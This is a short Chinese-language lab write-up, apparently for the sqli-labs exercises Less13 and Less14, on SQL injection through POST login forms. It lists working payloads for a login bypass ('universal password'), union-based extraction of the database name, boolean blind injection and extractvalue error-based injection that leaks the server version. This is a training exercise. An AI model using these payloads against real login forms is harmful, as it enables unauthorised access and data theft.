SQL-Post注入

Post注入

• 在登录过程中，输入用户名和密码，用户名和密码以表单的形式提交，
  提交到服务器后服务器再进行验证。这就是一次post的过程的。

• 在输入正确的用户名和密码后显示
  

1. 尝试会不会回显报错信息，输入admin'--+,回显报错了。

2. 尝试万能密码 admin’or’1’='1# ,成功登录并且回显信息。
   

3. 尝试联合注入

Username：1admin'union select 1,database()#
password：（任意密码）

显示数据库名了。

Less13

1. Username：admin’,分析报错，程序对id进行了’）的处理。
2. 尝试布尔盲注，登录成功，可以利用二分法猜解。

uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

Less14

1. 尝试盲注，登录成功。

admin"and left(database(),1)>'a'#&passwd=1&submit=Submit

2. 利用报错注入，成功回显数据库版本。

admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submi
 t=Submit